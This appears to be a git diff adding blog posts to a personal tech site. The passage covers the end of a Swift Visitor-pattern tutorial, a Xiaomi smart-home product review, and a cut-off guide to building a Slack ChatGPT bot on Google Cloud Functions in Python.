+        visitor.visit(model: self)
+    }
+}
+
+extension SongModel: Shareable {
+    func accept(visitor: SharePolicy) {
+        visitor.visit(model: self)
+    }
+}
+
+extension PlaylistModel: Shareable {
+    func accept(visitor: SharePolicy) {
+        visitor.visit(model: self)
+    }
+}
+
+protocol SharePolicy {
+    func visit(model: UserModel)
+    func visit(model: SongModel)
+    func visit(model: PlaylistModel)
+}
+
+class ShareToFacebookVisitor: SharePolicy {
+    func visit(model: UserModel) {
+        // call Facebook share sdk...
+        print("Share to Facebook...")
+        print("[![Hi sharing a great artist \(model.name).](\(model.profileImageURLString)](https://zhgchg.li/user/\(model.id)")
+    }
+    
+    func visit(model: SongModel) {
+        // call Facebook share sdk...
+        print("Share to Facebook...")
+        print("[![Hi sharing a great song just heard, \(model.user.name)'s \(model.name), played by him.](\(model.coverImageURLString))](https://zhgchg.li/user/\(model.user.id)/song/\(model.id)")
+    }
+    
+    func visit(model: PlaylistModel) {
+        // call Facebook share sdk...
+        print("Share to Facebook...")
+        print("[![Hi can't stop listening to this playlist \(model.name).](\(model.coverImageURLString))](https://zhgchg.li/user/\(model.user.id)/playlist/\(model.id)")
+    }
+}
+
+class ShareToLineVisitor: SharePolicy {
+    func visit(model: UserModel) {
+        // call Line share sdk...
+        print("Share to Line...")
+        print("[Hi sharing a great artist \(model.name).](https://zhgchg.li/user/\(model.id)")
+    }
+    
+    func visit(model: SongModel) {
+        // call Line share sdk...
+        print("Share to Line...")
+        print("[Hi sharing a great song just heard, \(model.user.name)'s \(model.name), played by him.](https://zhgchg.li/user/\(model.user.id)/song/\(model.id)")
+    }
+    
+    func visit(model: PlaylistModel) {
+        // call Line share sdk...
+        print("Share to Line...")
+        print("[Hi can't stop listening to this playlist \(model.name).](https://zhgchg.li/user/\(model.user.id)/playlist/\(model.id)")
+    }
+}
+
+class ShareToInstagramVisitor: SharePolicy {
+    func visit(model: UserModel) {
+        // call Instagram share sdk...
+        print("Share to Instagram...")
+        print(model.profileImageURLString)
+    }
+    
+    func visit(model: SongModel) {
+        // call Instagram share sdk...
+        print("Share to Instagram...")
+        print(model.coverImageURLString)
+    }
+    
+    func visit(model: PlaylistModel) {
+        // call Instagram share sdk...
+        print("Share to Instagram...")
+        print(model.songs.map({ $0.coverImageURLString }).joined(separator: ","))
+    }
+}
+
+// Use case
+let shareToInstagramVisitor = ShareToInstagramVisitor()
+user.accept(visitor: shareToInstagramVisitor)
+playlist.accept(visitor: shareToInstagramVisitor)
+

Let’s see what we did line by line:

  • First, we created a Shareable Protocol, which is just for us to manage models that support sharing with a unified interface for visitors (undefined is also acceptable).
  • UserModel/SongModel/PlaylistModel implement Shareable func accept(visitor: SharePolicy), so if we add a new model that supports sharing, it only needs to implement the protocol.
  • Define SharePolicy to list the supported models (must be concrete type). You might wonder why not define it as visit(model: Shareable). If we do that, we will repeat the issues from the previous version.
  • Implement SharePolicy for each Share method, combining the required resources based on the source.
  • Suppose today we have a new WeChat sharing feature that requires special data (play count, creation date). It won’t affect the existing code because it can retrieve the information it needs from concrete models.

Achieving the goal of low coupling and high cohesion in software development.

The above is the classic Visitor Double Dispatch implementation. However, we rarely encounter this situation in our daily development. In general, we may only have one visitor, but I think it is also suitable to use this pattern for composition. For example, if we have a SaveToCoreData requirement today, we can directly define accept(visitor: SaveToCoreDataVisitor) without declaring a Policy Protocol, which is also a good architectural approach.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
protocol Saveable {
+  func accept(visitor: SaveToCoreDataVisitor)
+}
+
+class SaveToCoreDataVisitor {
+    func visit(model: UserModel) {
+        // map UserModel to coredata
+    }
+    
+    func visit(model: SongModel) {
+        // map SongModel to coredata
+    }
+    
+    func visit(model: PlaylistModel) {
+        // map PlaylistModel to coredata
+    }
+}
+

Other applications: Save, Like, tableview/collectionview cellforrow…

Principles

Finally, let’s talk about some common principles:

  • Code is for humans to read, so avoid over-designing.
  • Consistency is crucial. The same context in the same codebase should use the same architectural approach.
  • If the scope is controllable or no other situations are likely to occur, continuing to break it down further can be considered over-designing.
  • Use existing solutions more and invent less. Design patterns have been around in software design for decades, and they consider scenarios more comprehensively than creating a new architecture.
  • If you can’t understand a design pattern, you can learn it. However, if it’s a self-created architecture, it’s harder to convince others to learn because it may only be applicable to that specific case and not a common practice.
  • Code duplication doesn’t always mean it’s bad. Pursuing encapsulation blindly can lead to over-designing. Again, referring back to the previous points, code readability, low coupling, and high cohesion are indicators of good code.
  • Don’t tamper with patterns. There is a reason behind their design, and random modifications may cause issues in certain scenarios.
  • Once you start taking detours, you’ll only go further astray, and the code will get messier.

inspired by @saiday

References

Further Reading

Feel free to contact me for any questions or feedback.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Building a Fully Automated WFH Employee Health Reporting System with Slack

Leading Snowflakes Reading Notes

diff --git a/posts/bcff7c157941/index.html b/posts/bcff7c157941/index.html new file mode 100644 index 0000000000..4eae6192f7 --- /dev/null +++ b/posts/bcff7c157941/index.html @@ -0,0 +1 @@ + New Xiaomi Smart Home Purchases | ZhgChgLi
Home New Xiaomi Smart Home Purchases
Post
Cancel

New Xiaomi Smart Home Purchases

New Xiaomi Smart Home Purchases

AI Speaker, Temperature and Humidity Sensor, Scale 2, DC Inverter Fan Usage Experience

Getting Started

Following the previous post “Smart Home First Experience — Apple HomeKit & Xiaomi Mi Home” on how to use Xiaomi smart home products; I continued to buy a few more Xiaomi home products and tried to make all home appliances smart… I can only say it’s a pitfall. Initially, I just wanted to buy a desk lamp because Xiaomi’s design is beautiful. I researched its smart features and fell into the pit!

New Purchase — Xiaomi AI Speaker

Price: NT$ 1,495

Features:

  1. Can voice control all connected Mi Home smart devices
  2. Taiwan region offers 3 months of KKBOX membership
  3. Powerful voice intelligence; compared to Siri, Siri = 3-year-old child ¶In addition to basic voice assistant functions (check weather, news, information, control appliances, play music…) ¶It also has many extended skills (ask about TV shows, play mini-games, chat, tell jokes, act as a maid, yes, it talks to you in a maid’s tone!!) ¶Supports custom functions (custom words, corresponding actions)
  4. Additionally, it can infer and suggest actions, unlike Siri which only answers the weather question; Xiaomi AI Speaker might ask if you need a reminder to bring an umbrella, more considerate and warm.
  5. 360-degree sound reception and playback, sufficient volume; very responsive and accurate when called.
  6. Can directly act as a Bluetooth music speaker

Disadvantages:

  1. When used as a Bluetooth speaker, there is a serious 1-2 second delay when watching videos; this is quite a serious flaw, and there is no solution found on Chinese forums, the official stance is indifferent, it seems to be a hardware issue.
  2. Does not support Spotify / Apple Music, for non-KKBOX users like me, after the 3-month free period, if you don’t want to spend money, you can only switch to the mainland region to use QQ Music.
  3. Unlike HomePod, it does not support the home hub function. I initially expected to use the Xiaomi speaker as the smart home hub, so when I get home, Mi Home detects the Xiaomi speaker and can automatically execute corresponding actions (like Apple’s HomePod + HomeKit); it seems not possible!
  4. Requires an additional Xiao Ai Speaker APP
  5. Must set the same region as the Mi Home APP, my Mi Home APP is set to mainland China (due to more features), so Xiao Ai Speaker must also be set to mainland China

In summary, for daily use, it’s just a Bluetooth speaker that can play music, occasionally asking Xiao Ai Speaker to remind me of the time… that’s it, actually Siri can do that; not being able to use it as a Bluetooth speaker for the computer is really painful for me, but I have to say its voice functions are really smart and impressive! You can buy it for fun.

New Purchase — Mi Home Bluetooth Temperature and Humidity Sensor

Small item, NT$ 365

You need to buy an additional AAA battery to install; the official claims the battery life can reach one year, the round and compact design with magnetic hanging makes it convenient to take down and play with anytime, the dual-display screen allows you to quickly grasp the current temperature and humidity.

APP Temperature Record

APP Temperature Record

Only supports Bluetooth connection, so if the phone is out of Bluetooth range, it cannot read the data; unless you buy a Bluetooth gateway or other Mi Home devices that support the Bluetooth gateway function.

List of devices supporting Bluetooth gateway from official documents

List of devices supporting Bluetooth gateway from official documents

Generally, devices that support both WiFi and Bluetooth are supported, but Xiaomi AI Speaker does not!!

And I discovered something amazing, which is Mi Home DC Inverter Fan actually supports it, WTF!!!; so currently I use the Mi Home fan to transmit the temperature and humidity sensor information to the internet via WiFi.

It’s really weird… Xiaomi AI Speaker, desk lamp, table lamp, camera do not support the Bluetooth gateway function, but the fan does!

*Not sure if it’s only the temperature and humidity sensor that can do this

Additional note: the temperature and humidity sensor will not keep sending push notifications

Push notifications for too high temperature or too humid messages (but these temperature and humidity levels are very normal in Taiwan…)

How to turn off:

Go to "My" -> Top right corner "Settings" -> Device notifications -> Find Mijia Bluetooth Temperature and Humidity Meter -> Turn off

Go to “My” -> Top right corner “Settings” -> Device notifications -> Find Mijia Bluetooth Temperature and Humidity Meter -> Turn off

After turning it off, you will no longer receive push notifications!

New Purchase — Scale 2

It’s just a scale, NT$ 395

In addition to recording weight on the app, it also has functions like weighing objects and balance tests… but it’s mainly used for weighing; it has a beautiful appearance and can enhance the quality of your home even when not in use!

The scale requires a separate Xiaomi Health app. Open the app while weighing to sync the weight records.

Xiaomi Health App

Xiaomi Health App

New Purchase — DC Inverter Fan

The most satisfying appliance in this purchase, NT$ 1995

Basic functions of the fan

The left and right swing angle is 120 degrees, which is quite large. The wind power adjustment supports 1–100 levels, allowing you to adjust the wind power as you like. My favorite is the “natural wind” mode because I like direct blowing but often feel uncomfortable after a while. This natural wind mode allows me to keep the direct blowing mode without discomfort!

Appearance design

It maintains Xiaomi’s simple white design. Personally, I don’t like fans that are too metallic (they feel dirty). Xiaomi fans are very light and clean, and they look comfortable even when not in use.

Smart features

After adding it to the Mijia app, you can control all parameters (mode, switch, wind power, angle) from the app. You can also set periodic timing (e.g., turn off at 7:00 AM from Monday to Friday) and link with Mijia devices (e.g., automatically turn on when you get home, automatically turn on when the temperature exceeds 30 degrees) to play with smart home functions.

Additionally, I found that it can act as a Bluetooth gateway to help the Mijia Bluetooth Temperature and Humidity Meter transmit data.

*Not sure if only the temperature and humidity meter can do this

Current Equipment Summary

  1. Mijia Smart Camera PTZ Version 1080P (Supports: Mijia)
  2. Mijia Desk Lamp Pro (Supports: Apple HomeKit, Mijia)
  3. Mijia LED Smart Desk Lamp (Supports: Mijia)
  4. Xiaomi AI Speaker
  5. Mijia Bluetooth Temperature and Humidity Sensor
  6. Xiaomi Scale 2
  7. Mijia DC Inverter Fan

Summary

The above is a summary of the new purchases. There is still a long way to go to reach the ideal (automatically turn on the air conditioner when the temperature is too high, the fan follows people, turn on the lights when coming home, turn off the lights and turn on the camera when leaving home, turn on the dehumidifier when the humidity is too high). It is even very rugged… you need to know how to modify circuits, and I found that my dehumidifier does not have a return function, and the air conditioner is also an old model. Many Mijia devices are not sold in Taiwan (e.g., universal remote control). I originally wanted to set up a smart home, but after thinking about it, it is not very useful. Currently, I am continuing to research what else can be made smart!

Further Reading

  1. Smart Home First Experience — Apple HomeKit & Xiaomi Mijia (Mijia Smart Camera and Mijia Smart Desk Lamp, HomeKit Setup Tutorial)
  2. Using “Shortcuts” Automation Feature with iOS ≥ 13.1 and Mijia Smart Home (Directly use the built-in Shortcuts app in iOS ≥ 13.1 for automation)
  3. Mijia APP / Xiao Ai Speaker Region Issues
  4. [Advanced] Demonstration of Using Raspberry Pi as HomeBridge Host to Connect All Mijia Appliances to HomeKit

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

What was the experience of iPlayground 2019 like?

Using 'Shortcuts' Automation with Mi Home Smart Home on iOS ≥ 13.1

diff --git a/posts/bd94cc88f9c9/index.html b/posts/bd94cc88f9c9/index.html new file mode 100644 index 0000000000..59fc5d9764 --- /dev/null +++ b/posts/bd94cc88f9c9/index.html @@ -0,0 +1,2547 @@ + Slack & ChatGPT Integration | ZhgChgLi
Home Slack & ChatGPT Integration
Post
Cancel

Slack & ChatGPT Integration

Slack & ChatGPT Integration

Build your own ChatGPT OpenAI API for Slack App (Google Cloud Functions & Python)

Background

Recently, I have been promoting the use of Generative AI within the team to improve work efficiency. Initially, we only aim to achieve an AI Assistant (ChatGPT functionality) to reduce the time spent on daily data queries, organizing cumbersome data, and manual data processing, thereby improving work efficiency. We hope that engineers, designers, PMs, marketers, etc., can all use it freely.

The simplest method is to directly purchase the ChatGPT Team plan, which costs $25 per seat per year. However, since we are not yet sure about everyone’s usage frequency (volume) and hope to integrate with more collaboration and development processes in the future, we decided to use the OpenAI API method and then integrate it with other services for team members to use.

The OpenAI API Key can be generated from this page. The Key does not correspond to a specific Model version; you need to specify the Model version you want to use and generate the corresponding Token cost when using it.

We need a service that can set the OpenAI API Key by ourselves and use that Key for ChatGPT-like usage.

Whether it’s a Chrome Extension or a Slack App, it’s hard to find a service that allows you to set the OpenAI API Key by yourself. Most services sell their own subscriptions, and allowing users to set their own API Key means they can’t make money and are purely doing charity.

[Chrome Extension] SidebarGPT

After installation, go to Settings -> General -> Enter the OpenAI API Key.

You can call out the chat interface directly from the browser toolbar or side icon and use it directly:

[Chrome Extension] OpenAI Translator

If you only need translation, you can use this, which allows you to set the OpenAI API Key for translation.

Additionally, it is an open-source project and also provides macOS/Windows desktop programs:

Chrome Extension’s advantage is its speed, simplicity, and convenience—just install and use directly. The downside is that you need to provide the API Key to all members, making it difficult to control leakage issues. Additionally, using third-party services makes it hard to ensure data security.

[Self-hosted] LibreChat

A colleague from the R&D department recommended this OpenAI API Chat encapsulation service. It provides authentication and almost replicates the ChatGPT interface, with more powerful features than ChatGPT, as an open-source project.

You only need the project, install Docker, set up the .env file, and start the Docker service to use it directly through the website.

Tried it out, and it’s practically flawless, just like a local version of ChatGPT service. The only downside is that it requires server deployment. If there are no other considerations, you can directly use this open-source project.

Slack App

Actually, setting up the LibreChat service on a server already achieves the desired effect. However, I had a sudden thought: wouldn’t it be more convenient if it could be integrated into daily tools? Additionally, the company’s server has strict permission settings, making it difficult to start services arbitrarily.

At the time, I didn’t think much about it and assumed there would be many OpenAI API integration services for Slack App. I thought I could just find one and set it up. Unexpectedly, it wasn’t that simple.

A Google search only found an official Slack x OpenAI 2023/03 press release, “ Why we built the ChatGPT app for Slack,” and some Beta images:

[https://www.salesforce.com/news/stories/chatgpt-app-for-slack/](https://www.salesforce.com/news/stories/chatgpt-app-for-slack/){:target="_blank"}

https://www.salesforce.com/news/stories/chatgpt-app-for-slack/

It looks very comprehensive and could greatly improve work efficiency. However, as of 2024/01, there has been no release news. The Beta registration link provided at the end of the article is also invalid, with no further updates. (Is Microsoft trying to support Teams first?)

[2024/02/14 Update]:

  • According to Slack official news, it seems that the integration with ChatGPT (OpenAI) has either been abandoned or integrated into Slack AI.

Slack Apps

Due to the lack of an official app, I turned to search for third-party developer apps. I searched and tried several but hit a wall. There were not many suitable apps, and none provided a custom Key feature. Each one was designed to sell services and make money.

Implementing ChatGPT OpenAI API for Slack App Yourself

Previously had some experience developing Slack Apps, decided to do it myself.

⚠️Disclaimer⚠️

This article demonstrates how to create a Slack App and quickly use Google Cloud Functions to meet the requirements by integrating the OpenAI API. There are many applications for Slack Apps, feel free to explore.

⚠️⚠️ The advantage of Google Cloud Functions, Function as a Service (FaaS), is that it is convenient and fast, with a free quota. Once the program is written, it can be deployed and executed directly, and it scales automatically. The downside is that the service environment is controlled by GCP. If the service is not called for a long time, it will go into hibernation, and calling it again will enter Cold Start, requiring a longer response time. Additionally, it is more challenging to have multiple services interact with each other.

For more complete or high-demand usage, it is recommended to set up a VM (App Engine) to run the service.

Final Result

The complete Cloud Functions Python code and Slack App settings are attached at the end of the article. Those who are too lazy to follow step by step can quickly refer to it.

Step 1. Create a Slack App

Go to Slack App:

Click “Create New App”

Select “From scratch”

Enter “App Name” and choose the Workspace to join.

After creation, go to “OAuth & Permissions” to add the permissions needed for the Bot.

Scroll down to find the “Scopes” section, click “Add an OAuth Scope” and add the following permissions:

  • chat:write
  • im:history
  • im:read
  • im:write

After adding Bot permissions, click “Install App” on the left -> “Install to Workspace”

If the Slack App adds other permissions later, you need to click “Reinstall” again for them to take effect.

But rest assured, the Bot Token will not change due to reinstallation.

After setting up the Slack Bot Token permissions, go to “App Home”:

Scroll down to find the “Show Tabs” section, enable “Messages Tab” and “Allow users to send Slash commands and messages from the messages tab” (if this is not checked, you cannot send messages, and it will display “Sending messages to this app has been turned off.”).

Return to the Slack Workspace, press “Command+R” to refresh the screen, and you will see the newly created Slack App and message input box:

At this point, sending a message to the App has no functionality.

Enable Event Subscriptions

Next, we need to enable the event subscription feature of the Slack App, which will call the API to the specified URL when a specified event occurs.

Add Google Cloud Functions

For the Request URL part, Google Cloud Functions will come into play.

After setting up the project and billing information, click “Create Function”.

Enter the project name for Function name, and select “Allow unauthenticated invocations” for Authentication, which means that knowing the URL allows access.

If you cannot create a Function or change Authentication, it means your GCP account does not have full Google Cloud Functions permissions. You need to ask the organization administrator to add the Cloud Functions Admin permission in addition to your original role to use it.

Runtime: Python 3.8 or higher

main.py:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+
import functions_framework
+
+@functions_framework.http
+def hello_http(request):
+    request_json = request.get_json(silent=True)
+    request_args = request.args
+    request_headers = request.headers
+
+    # You can simply use print to record runtime logs, which can be viewed in Logs
+    # For advanced Logging Level usage, refer to: https://cloud.google.com/logging/docs/reference/libraries
+    print(request_json)
+
+    # Due to the FAAS (Cloud Functions) limitation, if the service is not called for a long time, it will enter a cold start when called again, which may not respond within the 3-second limit set by Slack
+    # Additionally, the OpenAI API request takes a certain amount of time to respond (depending on the response length, it may take nearly 1 minute to complete)
+    # If Slack does not receive a response within the time limit, it will consider the request lost and will call again
+    # This can cause duplicate requests and responses, so we can set X-Slack-No-Retry: 1 in the Response Headers to inform Slack not to retry even if it does not receive a response within the time limit
+    headers = {'X-Slack-No-Retry':1}
+
+    # If it is a Slack Retry request...ignore it
+    if request_headers and 'X-Slack-Retry-Num' in request_headers:
+        return ('OK!', 200, headers)
+
+    # Slack App Event Subscriptions Verify
+    # https://api.slack.com/events/url_verification
+    if request_json and 'type' in request_json and request_json['type'] == 'url_verification':
+        challenge = ""
+        if 'challenge' in request_json:
+            challenge = request_json['challenge']
+        return (challenge, 200, headers)
+
+    return ("Access Denied!", 400, headers)
+

Enter the following dependencies in requirements.txt:

1
+2
+3
+
functions-framework==3.*
+requests==2.31.0
+openai==1.9.0
+

Currently, there is no functionality, it just allows the Slack App to pass the Event Subscriptions verification. You can directly click “Deploy” to complete the first deployment.

⚠️If you are not familiar with the Cloud Functions editor, you can scroll down to the bottom of the article to see the supplementary content.

After the deployment is complete (green checkmark), copy the Cloud Functions URL:

Paste the Request URL back into the Slack App Enable Events.

If everything is correct, “Verified” will appear, completing the verification.

What happens here is that when a verification request is received from Slack:

1
+2
+3
+4
+5
+
{
+    "token": "Jhj5dZrVaK7ZwHHjRyZWjbDl",
+    "challenge": "3eZbrw1aBm2rZgRNFdxV2595E9CY3gmdALWMmHkvFXO7tYXAYM8P",
+    "type": "url_verification"
+}
+

Respond with the content of the challenge field to pass the verification.

After enabling successfully, scroll down to find the “Subscribe to bot events” section, click “Add Bot User Event” to add the “message.im” permission.

After adding the full permissions, click the “reinstall your app” link at the top to reinstall the Slack App to the Workspace, and the Slack App setup is complete.

You can also go to “App Home” or “Basic Information” to customize the Slack App’s name and avatar.

Basic Information

Basic Information

Step 2. Integrate OpenAI API with Slack App (Direct Messages)

First, we need to obtain the essential OPENAI API KEY and Bot User OAuth Token.

Handling Direct Message (IM) Event & Integrating OpenAI API Response

When a user sends a message to the Slack App, the following Event JSON Payload is received:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+
{
+  "token": "XXX",
+  "team_id": "XXX",
+  "context_team_id": "XXX",
+  "context_enterprise_id": null,
+  "api_app_id": "XXX",
+  "event": {
+    "client_msg_id": "XXX",
+    "type": "message",
+    "text": "你好",
+    "user": "XXX",
+    "ts": "1707920753.115429",
+    "blocks": [
+      {
+        "type": "rich_text",
+        "block_id": "orfng",
+        "elements": [
+          {
+            "type": "rich_text_section",
+            "elements": [
+              {
+                "type": "text",
+                "text": "你好"
+              }
+            ]
+          }
+        ]
+      }
+    ],
+    "team": "XXX",
+    "channel": "XXX",
+    "event_ts": "1707920753.115429",
+    "channel_type": "im"
+  },
+  "type": "event_callback",
+  "event_id": "XXX",
+  "event_time": 1707920753,
+  "authorizations": [
+    {
+      "enterprise_id": null,
+      "team_id": "XXX",
+      "user_id": "XXX",
+      "is_bot": true,
+      "is_enterprise_install": false
+    }
+  ],
+  "is_ext_shared_channel": false,
+  "event_context": "4-XXX"
+}
+

Based on the above Json Payload, we can complete the integration from Slack messages to the OpenAI API and then back to replying to Slack messages:

Cloud Functions main.py

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+
import functions_framework
+import requests
+import asyncio
+import json
+import time
+from openai import AsyncOpenAI
+
+OPENAI_API_KEY = "OPENAI API KEY"
+SLACK_BOT_TOKEN = "Bot User OAuth Token"
+
+# The OPENAI API Model used
+# https://platform.openai.com/docs/models
+OPENAI_MODEL = "gpt-4-1106-preview"
+
+@functions_framework.http
+def hello_http(request):
+    request_json = request.get_json(silent=True)
+    request_args = request.args
+    request_headers = request.headers
+
+    # You can simply use print to record runtime logs, which can be viewed in Logs
+    # For advanced Logging Level usage, refer to: https://cloud.google.com/logging/docs/reference/libraries
+    print(request_json)
+
+    # Due to the nature of FAAS (Cloud Functions), if the service is not called for a long time, it will enter a cold start when called again, which may not respond within the 3-second limit set by Slack
+    # Additionally, the OpenAI API request to response takes a certain amount of time (depending on the response length, it may take close to 1 minute to complete)
+    # If Slack does not receive a response within the time limit, it will consider the request lost and will call again
+    # This can cause duplicate requests and responses, so we can set X-Slack-No-Retry: 1 in the Response Headers to inform Slack not to retry even if it does not receive a response within the time limit
+    headers = {'X-Slack-No-Retry':1}
+
+    # If it is a Slack Retry request...ignore it
+    if request_headers and 'X-Slack-Retry-Num' in request_headers:
+        return ('OK!', 200, headers)
+
+    # Slack App Event Subscriptions Verify
+    # https://api.slack.com/events/url_verification
+    if request_json and 'type' in request_json and request_json['type'] == 'url_verification':
+        challenge = ""
+        if 'challenge' in request_json:
+            challenge = request_json['challenge']
+        return (challenge, 200, headers)
+
+    # Handle Event Subscriptions Events...
+    if request_json and 'event' in request_json and 'type' in request_json['event']:
+        # If the event source is the App and the App ID == Slack App ID, it means the event was triggered by the Slack App itself
+        # Ignore and do not process, otherwise it will fall into an infinite loop Slack App -> Cloud Functions -> Slack App -> Cloud Functions...
+        if 'api_app_id' in request_json and 'app_id' in request_json['event'] and request_json['api_app_id'] == request_json['event']['app_id']:
+            return ('OK!', 200, headers)
+
+        # Event name, for example: message (related to messages), app_mention (mentioned)....
+        eventType = request_json['event']['type']
+
+        # SubType, for example: message_changed (edited message), message_deleted (deleted message)...
+        # New messages do not have a Sub Type
+        eventSubType = None
+        if 'subtype' in request_json['event']:
+            eventSubType = request_json['event']['subtype']
+        
+        if eventType == 'message':
+            # Messages with Sub Type are edited, deleted, replied to...
+            # Ignore and do not process
+            if eventSubType is not None:
+                return ("OK!", 200, headers)
+               
+            # Sender of the event message
+            eventUser = request_json['event']['user']
+            # Channel of the event message
+            eventChannel = request_json['event']['channel']
+            # Content of the event message
+            eventText = request_json['event']['text']
+            # TS (message ID) of the event message
+            eventTS = request_json['event']['event_ts']
+                
+            # TS (message ID) of the parent message in the thread of the event message
+            # Only new messages in the thread will have this data
+            eventThreadTS = None
+            if 'thread_ts' in request_json['event']:
+                eventThreadTS = request_json['event']['thread_ts']
+                
+            openAIRequest(eventChannel, eventTS, eventThreadTS, eventText)
+            return ("OK!", 200, headers)
+
+
+    return ("Access Denied!", 400, headers)
+
+def openAIRequest(eventChannel, eventTS, eventThreadTS, eventText):
+    
+    # Set Custom instructions
+    # Thanks to my colleague (https://twitter.com/je_suis_marku) for the support
+    messages = [
+        {"role": "system", "content": "I can only understand Traditional Chinese from Taiwan and English"},
+        {"role": "system", "content": "I cannot understand Simplified Chinese"},
+        {"role": "system", "content": "If I speak Chinese, I will respond in Traditional Chinese from Taiwan, and it must conform to common Taiwanese usage."},
+        {"role": "system", "content": "If I speak English, I will respond in English."},
+        {"role": "system", "content": "Do not respond with pleasantries."},
+        {"role": "system", "content": "There should be a space between Chinese and English. There should be a space between Chinese characters and any other language characters, including numbers and emojis."},
+        {"role": "system", "content": "If you don't know the answer, or if your knowledge is outdated, please search online before answering."},
+        {"role": "system", "content": "I will tip you 200 USD, if you answer well."}
+    ]
+
+    messages.append({
+        "role": "user", "content": eventText
+    })
+
+    replyMessageTS = slackRequestPostMessage(eventChannel, eventTS, "Generating response...")
+    asyncio.run(openAIRequestAsync(eventChannel, replyMessageTS, messages))
+
+async def openAIRequestAsync(eventChannel, eventTS, messages):
+    client = AsyncOpenAI(
+      api_key=OPENAI_API_KEY,
+    )
+
+    # Stream Response
+    stream = await client.chat.completions.create(
+      model=OPENAI_MODEL,
+      messages=messages,
+      stream=True,
+    )
+    
+    result = ""
+
+    try:
+        debounceSlackUpdateTime = None
+        async for chunk in stream:
+            result += chunk.choices[0].delta.content or ""
+            
+            # Update the message every 0.8 seconds to avoid frequent calls to the Slack Update Message API, which may fail or waste Cloud Functions request counts
+            if debounceSlackUpdateTime is None or time.time() - debounceSlackUpdateTime >= 0.8:
+                response = slackUpdateMessage(eventChannel, eventTS, None, result+"...")
+                debounceSlackUpdateTime = time.time()
+    except Exception as e:
+        print(e)
+        result += "...*[Error occurred]*"
+
+    slackUpdateMessage(eventChannel, eventTS, None, result)
+
+
+### Slack ###
+def slackUpdateMessage(channel, ts, metadata, text):
+    endpoint = "/chat.update"
+    payload = {
+        "channel": channel,
+        "ts": ts
+    }
+    if metadata is not None:
+        payload['metadata'] = metadata
+    
+    payload['text'] = text
+    
+    response = slackRequest(endpoint, "POST", payload)
+    return response
+
+def slackRequestPostMessage(channel, target_ts, text):
+    endpoint = "/chat.postMessage"
+    payload = {
+        "channel": channel,
+        "text": text,
+    }
+    if target_ts is not None:
+        payload['thread_ts'] = target_ts
+
+    response = slackRequest(endpoint, "POST", payload)
+
+    if response is not None and 'ts' in response:
+        return response['ts']
+    return None
+
+def slackRequest(endpoint, method, payload):
+    url = "https://slack.com/api"+endpoint
+
+    headers = {
+        "Authorization": f"Bearer {SLACK_BOT_TOKEN}",
+        "Content-Type": "application/json",
+    }
+
+    response = None
+    if method == "POST":
+        response = requests.post(url, headers=headers, data=json.dumps(payload))
+    elif method == "GET":
+        response = requests.post(url, headers=headers)
+
+    if response and response.status_code == 200:
+        result = response.json()
+        return result
+    else:
+        return None
+

Back to Slack to test:

Now you can perform Q&A similar to ChatGPT and OpenAI API.

Add Stream Response Interruption Feature to Save Tokens

There are many ways to implement this. For example, if a user inputs a new message in the same thread before the previous response is complete, it interrupts the previous response, or by clicking a message to add an interruption shortcut.

This article uses the example of adding a “Message Interruption” shortcut.

Regardless of the interruption method, the core principle is the same. Since we do not have a database to store generated messages and message status information, the implementation relies on the metadata field of Slack messages (which can store custom information within specified messages).

When using the chat.update API Endpoint, if the call is successful, it will return the text content and metadata of the current message. Therefore, in the above OpenAI API Stream -> Slack Update Message code, we add a judgment to check if the metadata in the response of the modification request has an “interruption” mark. If it does, it interrupts the OpenAI Stream Response.

First, you need to add a Slack App message shortcut

Go to the Slack App management interface, find the “Interactivity & Shortcuts” section, click to enable it, and use the same Cloud Functions URL.

Click “Create New Shortcut” to add a new message shortcut.

Select “On messages”.

  • Name: Stop OpenAI API Response
  • Short Description: Stop OpenAI API Response
  • Callback ID: abort_openai_api (for program identification, can be customized)

Click “Create” to complete the creation, and finally remember to click “Save Changes” at the bottom right to save the settings.

Click “reinstall your app” at the top again to take effect.

Back in Slack, click the “…” at the top right of the message, and the “Stop OpenAI API Response” shortcut will appear (clicking it at this time has no effect).

When the user presses the Shortcut on the message, an Event Json Payload will be sent:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+
{
+  "type": "message_action",
+  "token": "XXXXXX",
+  "action_ts": "1706188005.387646",
+  "team": {
+    "id": "XXXXXX",
